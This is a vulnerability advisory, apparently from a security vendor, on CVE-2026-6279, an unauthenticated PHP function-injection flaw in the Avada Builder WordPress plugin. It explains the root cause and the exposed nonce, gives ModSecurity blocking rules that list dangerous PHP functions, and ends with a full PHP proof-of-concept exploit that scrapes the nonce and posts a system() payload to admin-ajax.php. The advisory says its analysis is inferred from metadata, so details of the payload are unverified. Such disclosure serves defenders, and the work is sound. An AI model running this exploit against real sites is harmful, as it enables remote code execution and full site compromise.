Atomic Edge analysis of CVE-2026-6279 (metadata-based): This vulnerability allows unauthenticated remote code execution via PHP function injection in the Avada Builder (fusion-builder) plugin for WordPress, versions up to and including 3.15.2. The CVSS score of 9.8 reflects the critical severity, with network-based exploitation requiring no authentication or user interaction.
The root cause lies in the wp_conditional_tags case within Fusion_Builder_Conditional_Render_Helper::get_value(). Based on the CWE-74 classification (Improper Neutralization of Special Elements in Output Used by a Downstream Component) and the description, Atomic Edge analysis infers that the plugin passes attacker-controlled values from a base64-decoded JSON blob directly to call_user_func() without implementing an allowlist or sanitization. The description confirms this pattern: values traverse from a decoded JSON payload into a PHP function call with no validation of which function or arguments can be invoked. Atomic Edge research cannot confirm the exact code path without a source code diff, but the CWE and description strongly indicate this is a classic function injection vulnerability where an attacker controls both the function name and its parameters.
Exploitation targets the fusion_get_widget_markup AJAX endpoint, registered for unauthenticated users via wp_ajax_nopriv_fusion_get_widget_markup. The endpoint requires a nonce (fusion_load_nonce), but this nonce is generated for user ID 0 and exposed in the JavaScript output of any public page containing a [fusion_post_cards] or [fusion_table_of_contents] element. The attacker extracts this nonce from the page source, then sends a POST request to /wp-admin/admin-ajax.php with action=fusion_get_widget_markup, the nonce, and a base64-encoded JSON blob containing the malicious function and parameters in the render_logics attribute. The payload reaches call_user_func() without allowlist filtering, enabling execution of arbitrary PHP functions like system(), exec(), or assert().
The patched version (3.15.3) likely implements an allowlist of permitted functions or uses a more restrictive approach such as whitelisting specific comparison operators and values, or replacing call_user_func() with a switch-case that validates the function name against a predefined set. The fix must sanitize and validate the decoded JSON data before passing any value to a PHP execution function.
Successful exploitation grants unauthenticated attackers the ability to execute arbitrary PHP code on the WordPress server. This leads to full site compromise, including data theft, creation of administrative accounts, file uploads, server takeover, and potential lateral movement within the hosting environment. The impact aligns with the CVSS vector’s confidentiality, integrity, and availability ratings set to HIGH.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6279 (metadata-based)
# Blocks unauthenticated PHP function injection via Avada Builder's fusion_get_widget_markup AJAX endpoint
# Based on CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component
# This rule blocks POST requests to admin-ajax.php with the specific action and base64-encoded JSON payloads
# that contain function calls in the render_logics parameter
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6279 Avada Builder RCE via fusion_get_widget_markup AJAX',severity:'CRITICAL',tag:'CVE-2026-6279',tag:'wordpress',tag:'avada-builder',tag:'rce'"
SecRule ARGS_POST:action "@streq fusion_get_widget_markup" "chain"
SecRule ARGS_POST:data "@rx function" "t:lowercase,t:urlDecode"
# Alternative rule targeting the base64-encoded payload pattern
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-6279 Avada Builder RCE via encoded payload',severity:'CRITICAL',tag:'CVE-2026-6279',tag:'wordpress',tag:'avada-builder',tag:'rce'"
SecRule ARGS_POST:action "@streq fusion_get_widget_markup" "chain"
SecRule ARGS_POST:data "@rx system|exec|shell_exec|passthru|popen|proc_open|assert|eval|base64_decode" "t:lowercase,t:urlDecode"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6279 - Avada (Fusion) Builder <= 3.15.2 - Unauthenticated Remote Code Execution via PHP Function Injection
// Configurable target URL
$target_url = 'http://example.com';
// Step 1: Fetch the target page to extract the nonce
// The nonce is usually in a script tag with id='fusion-post-cards-js-extra' or similar
$page_content = file_get_contents($target_url);
if ($page_content === false) {
die('Error: Could not fetch target URL.n');
}
// Extract the nonce from JavaScript variable fusion_load_nonce
// Pattern: "fusion_load_nonce":"<nonce_value>"
preg_match('/"fusion_load_nonce":"([a-f0-9]+)"/', $page_content, $matches);
if (empty($matches[1])) {
// Try alternate pattern for standalone nonce script block
preg_match('/var fusionNonces*=s*"([a-f0-9]+)"/', $page_content, $matches);
}
if (empty($matches[1])) {
die('Error: Could not extract fusion_load_nonce from page. Ensure the page contains a Fusion Post Cards or Table of Contents element.n');
}
$nonce = $matches[1];
echo "[+] Extracted nonce: $noncen";
// Step 2: Craft the malicious payload
// The vulnerability passes base64-decoded JSON to call_user_func()
// We will inject system() with 'id' command as example
// The payload structure mimics what the plugin expects for render_logics attribute
$payload = [
'widget_id' => 'example_widget',
'render_logics' => [
[
'condition_type' => 'wp_conditional_tags',
'condition_value' => base64_encode(json_encode([
'function' => 'system',
'args' => ['id']
]))
]
]
];
$post_data = [
'action' => 'fusion_get_widget_markup',
'fusion_load_nonce' => $nonce,
'data' => json_encode($payload)
];
// Step 3: Send the exploit request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
if (curl_errno($ch)) {
die('Error: cURL failed - ' . curl_error($ch) . 'n');
}
curl_close($ch);
echo "[+] Server response:n$responsen";
// Expected output contains the result of 'id' command if successful
// Example: "uid=33(www-data) gid=33(www-data) groups=33(www-data)"
